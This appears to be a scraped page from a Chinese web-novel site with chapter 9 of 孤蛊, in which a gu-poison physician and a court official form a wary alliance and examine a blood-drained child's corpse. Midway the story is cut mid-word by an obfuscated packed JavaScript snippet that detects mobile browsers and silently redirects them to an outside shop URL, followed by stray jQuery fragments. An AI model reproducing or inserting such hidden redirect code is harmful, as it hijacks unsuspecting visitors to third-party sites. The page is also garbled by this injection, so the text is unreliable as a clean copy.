文趣网 > 其他小说 > 孤蛊 > 9. 合作
    向倾承没回答她,只是说:“倪大夫不妨说说我方才的猜测是对与否?不过倪大夫真是狠心,林业和心悦于你,千方百计地对你好,你竟不曾动心。”

    他本以为倪逾明至少会掩饰一二,谁知她竟笑了下,想也没想便回答:“向大人到底是大理寺卿,比他人都聪明些。”

    向倾承眼底闪过一丝意外,像是没想到她承认得这么快,对上她的视线,感叹道:“倪大夫竟才十七?真叫人看不出来。”

    倪逾明微微皱眉,像是对他的说法有些不满又有些好笑,“你是想说我恶毒?那我便告诉你,我从不欠人,换句话说这叫你情我愿。”

    “我利用了林业和,林家经商,做梦都想有个当官的,半年时间我还给了林家一个举人。”

    “与喜娘相处时,她也告诉我她想要自由,不想任人欺辱,我便还她了一张卖身契。”

    “我何时说你恶毒?”向倾承微顿,反而问道:“你是滥杀无辜之人?”

    倪逾明当然没有回答他。

    他又自顾自地说:“当然不是,倪大夫悬壶济世,既愿意帮助那么多苦难之人又怎会是滥杀无辜之人,杀人了那也是罪有应得。”

    “那么在你的视角里,他即是该死之人,我既没有经历你所经历之事,也不了解事情原委,又有何立场劝阻你不杀他?劝你不杀人的无非是认为自己站在道德至高点上,彰显他们那点无用的良知。”向倾承眉峰微扬,说得很坦荡,字句利落,话语间又带着点随性。

    随后想到自己说的不够直白,又补充道:“我是想说,倪大夫十七岁便能这般有出息,叫人刮目相看。”

    听着他温声说话,字句落进耳里,倪逾明有些意外他的说法,心尖微微一颤。

    她张了张嘴,正想说些什么,耳边又传来他的声音,“但你杀刘恩仅仅只是个开始,你还想杀谢家人。”

    谢是天家的姓。

    倪逾明方才的触动霎时消散得一干二净,手上的动作停住了,抬头时脸上看不到一丝笑意,还是原来那副淡漠的样子,只是现在眼神更冷了,她捡起地上他方才掉落的剑,搭在他的颈侧。

    她迅速回想了一下自己过去的一举一动,并没有破绽。

    到底是哪一步?让向倾承看出来了。

    “向倾承,知道太多秘密的人都没有什么好下场,这道理你大理寺卿应该懂得吧。”

    “你杀刘恩容易,那是因为他平日就是花天酒地的性子,三天两头往青楼跑,但想杀那几位可不容易,你连接触都没机会接触到,更何谈要了人家的命?”

    向倾承继续说:“我不在乎你是不是蛊族,我也管不着,我大理寺卿的职责就只是持法拿奸,你是蛊族又如何?我只管谁做错了事。”

    “我凭什么相信你?”倪逾明觉得有些好笑,“向大人未免太过自信了些。”

    “信不信由你,但我能帮你却是真的,凭你一个五年十年都无法接近他们,你应该也不想看着他们继续逍遥享乐过完大半辈子吧。”

    搭在他颈侧的剑又往里收了点,剑很锋利,那处的皮肤立刻就见红了,只要他自己动一下,这剑就能割了他的大动脉。

    “我从不赌,只有死人才会彻彻底底不说话。”

    向倾承眼睛都不眨一下,也不躲,殷红的血液顿时顺着剑刃往下汇聚滴落在地上。

    “但你的确需要我的帮助。”

    他说的并没有错,以他大理寺卿的身份,接触那些人更加容易。

    在此之前,倪逾明已经想好了最好的办法,那便是嫁人,哪怕是妾,她要嫁进那些权贵世家,用牺牲婚姻来换,毕竟婚姻是她最不需要的东西,这么想来也不亏,只是师父师娘定要生气了。

    向倾承说的倒是可以考虑。

    但她讨厌他将她说的离不开他似的,倪逾明收起剑,嗤笑道:“向大人把话说的太满了些吧,你怎知只有我需要你,焉知你不需要我呢?”

    向倾承的唇角噙着淡笑,一下子说了太多话,他还没缓过来,笑意间夹杂着轻微的喘息,“是,倪大夫如此聪慧,我自然是需要她的帮助。”

    笑意撞进眼底,倪逾明移开了视线。

    他见她没有动,很好说话般地询问,“现在可以给我解药了?”

    方才的小黑虫从他的耳朵里爬出,顺着裙摆重新爬回倪逾明的袖中。

    只是一只又粗又长的千足虫爬了出来,那密密麻麻的脚让人看得心生恶寒。

    向倾承眉峰骤然蹙紧,神色沉了下来。

    他动不了,那只虫轻而易举地爬上他的身体,顺着脖颈爬到了唇边。

    倪逾明眉梢一挑,笑意在眼底打转,睫羽轻颤,那双眼睛好像瞬间就活了过来。

    “向大人竟怕千足虫?”

    向倾承终于失态了,瞪着眼睛看她,千足虫就在他的唇边徘徊,他根本开不了口,只要一张嘴,这虫子就爬进去了。

    倪逾明眨了下眼,“大人身份尊贵,现在是谈妥了,可之后的事情谁也说不准,万一大人出尔反尔,我找谁说理去?”

    “这千足虫不致命,但却需要大人每隔一月便来我这拿解药,否则毒性便会发作,这毒可不是普通的毒,发作时全身发疼,中毒的人忍不住挠破皮肤,最后七窍流血而死,想来死时的模样应该挺难看的。”

    “当然大人也可以去告发我,只是我死后,大人应该也是活不长了,黄泉路上能与大人这样的人物相伴左右,倒也不错。”

    倪逾明眼底还带着几分没掩去的笑,“所以,如果不想死,大人最好要好好听话。”

    向倾承也笑了,张了张嘴,千足虫顿时消失在唇边,“倪大夫难道不知道一起赴黄泉路的男女都是奔着下辈子当夫妻去的吗?”

    “倪大夫莫不是暗示我,这是想和我做夫妻?”

    倪逾明笑不出来了,脸色顿时沉了几分,唇线绷得死紧,眼底压着未爆发的愠怒。

    向倾承这会已经能随意活动手脚了,千足虫爬进体内后,这软筋散的药效便散了。

    你来我往道:“倪大夫当然可以杀我,当然了我死前也会去告发你的,细细琢磨一番,倪大夫说的的确有道理,黄泉路上还是有个人伴着比较好,不孤单。”

    倪逾明只觉得气得心脏疼,她当初一定是看错了,瞎了眼,他这样的人,眼底怎会有死气。

    普

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838714|211563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    通百姓起得早,方才已浪费了许多时间,她没工夫和他闹。

    倪逾明深呼吸了一口气,硬是忍下了这口气,她也不急,向倾承有的是机会求她。

    讥笑一声,“那么,大人最好死在我后头,毕竟我没那么容易死。”

    向倾承脸上的笑僵了一下,抬眸去看她,杏眼清明,自有一番从容气度,纵是布衣,也压不住那股坦荡。

    倪逾明见他不说话,便抬脚往棺材那走去。

    继续脱开孩子的衣裳。

    整个尸体展示在眼前,她眉心微微拢起,眸光微垂,蹙着眉,似在将心头思绪细细捋顺,一遍遍斟酌,眉间的纹路也随思绪越拧越深。

    向倾承忍着脖颈上的疼,也走过去检查尸体。

    诗词歌赋他倒是拿手,医术方面却毫无造诣,但在大理寺见多了尸体,很快也发现了问题。

    眉头微蹙又松开半分,眸光里带着思忖,似有头绪却还未敲定。

    “按照时间来看,他也差不多死了快一天了,为何身上几乎没有尸斑?”

    这便是问题所在。

    倪逾明伸出一根手指头,点在孩子的肌肤上,“这具尸体比寻常尸体更僵硬。”

    向倾承也试了试,的确是这样。

    倪逾明呼出一口气,“之前只是猜测,眼下我几乎可以肯定。”

    她对上向倾承的眼神,“这孩子体内没有血。”

    向倾承将尸体翻了个面,后腰处有一个窟窿,明显是被利器所伤,怎会是官府给出的说辞,说是被山间的野物咬伤的?

    他眉梢狠狠下压,眉头紧拢,“一个孩子能积下什么深仇大恨,竟叫人活生生放干了血?”

    他记得这家人请了仵作,而仵作并没有看出什么问题,又联想到县令的态度,其中的勾结一目了然。

    仵作怎会选择毫无权势的贫苦百姓而去得罪安岭县最有权力的县令。

    倪逾明摇摇头。

    现在要确定的便是死去的这些孩子是不是都这般。

    但最久的是半年前,上一个死去的孩子也早已下葬,要想调查,谈何容易。

    向倾承注意到她惨白的脸色,想到先前在她胳膊上划的那一剑,他没想到是她,自然也没收着力道,语气微微不自然,“很疼?”

    倪逾明睨了他一眼,“不如我在向大人胳膊上也划一剑试试?”

    向倾承皱了下眉,几乎没什么犹豫,把剑递给她。

    “怎么?”倪逾明挑了下眉。

    “划回来。”

    闻言,倪逾明没有半分思索,拔起剑就往他胳膊划去,刺啦一声。

    玄色衣料被鲜血浸透,暗夜里竟看不出明显的红,只有剑刃的殷红才知道见血了。

    衣料被割破了,松松垮垮地耷拉着。

    向倾承一声不吭,神情几乎没有一点变换。

    倪逾明心中轻嗤一声,倒是能忍。

    她把剑还回去,“向大人倒是君子。”

    说的是夸他的话,但用这种语气说出来就是另一种意思了。

    本来还没什么表情的向倾承扯了扯嘴角,也用同样的语调答复她,“多谢倪大夫称赞。”